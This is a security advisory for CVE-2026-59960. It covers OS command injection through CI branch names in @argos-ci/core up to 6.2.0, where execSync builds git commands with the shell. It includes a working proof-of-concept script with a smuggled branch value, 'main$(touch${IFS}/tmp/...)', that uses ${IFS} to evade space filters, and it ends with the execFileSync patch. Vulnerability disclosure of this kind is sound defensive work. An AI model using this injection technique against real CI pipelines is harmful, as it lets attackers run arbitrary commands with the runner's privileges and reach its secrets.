high · 7.5CVE-2026-59960Sep 10, 2026

CVE-2026-59960: @argos-ci/core CI Branch Name OS Command Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted CI branch name containing shell metacharacters can execute arbitrary commands on the CI runner because @argos-ci/core passes the branch string directly into a shell-interpreted execSync()…

Package@argos-ci/core
Ecosystemnpm
Affected<= 6.2.0
Fixed in6.2.1
CVE-2026-59960: @argos-ci/core CI Branch Name OS Command Injection

The problem

In @argos-ci/core <= 6.2.0, the function gitFetch() in packages/core/src/ci-environment/git.ts builds a git fetch command as a template-literal string and passes it to execSync(). Node.js execSync() invokes /bin/sh -c under the hood, so the shell evaluates the entire string before spawning git.

The branch name flows from GITHUB_HEAD_REF (or ARGOS_BRANCH) through config.ts with only a String() cast applied, into getMergeBaseCommitSha(), and finally into the execSync() sink. This code path is active whenever the API returns hasRemoteContentAccess: false, which is the default for projects without a connected Git provider.

An attacker who can name a pull-request branch can therefore run arbitrary commands with the privileges of the CI process.

Proof of concept

A working proof-of-concept for CVE-2026-59960 in @argos-ci/core, with the exact payload below.

bash
# Set ARGOS_BRANCH to a malicious value that injects a shell command.
# $() is command substitution; ${IFS} expands to a space, bypassing naive space filters.

mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git

# Start minimal mock API (background) -- hasRemoteContentAccess=false triggers the sink
node -e "
const http = require('http');
http.createServer((req, res) => {
  if (req.url === '/v2/project') {
    res.writeHead(200, {'content-type':'application/json'});
    res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
    return;
  }
  res.writeHead(200, {'content-type':'application/json'});
  res.end('{}');
}).listen(7777);
" &

mkdir empty
rm -f /tmp/argos-ci-cve-poc

ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true

# Confirm execution
test -f /tmp/argos-ci-cve-poc && echo 'COMMAND_EXECUTED'

The root cause is CWE-78: execSync() accepts a single string that /bin/sh -c interprets as a full shell command. The template literal git fetch ... origin ${input.ref}:${input.target} splices the attacker-controlled branch name directly into that string. The shell expands $(...) before git ever runs, so the injected command executes first.

The payload uses ${IFS} instead of a literal space to avoid any naive space-based check, making the injected fragment touch${IFS}/tmp/argos-ci-cve-poc evaluate to touch /tmp/argos-ci-cve-poc.

The patch (commit 8355f3af) replaces both execSync() template literals in git.ts with execFileSync(), passing arguments as an array. execFileSync() bypasses the shell entirely, so metacharacters in ref or target strings are passed as literal data to git and never interpreted.

The fix

Upgrade @argos-ci/core to 6.2.1 (or @argos-ci/cli to 5.1.1). The fix replaces execSync() template literals with execFileSync("git", [...args]) calls, eliminating shell interpretation. No workaround exists in 6.2.0; the only safe action is to upgrade.

Reporter not attributed.

References: [1][2][3][4]

Related research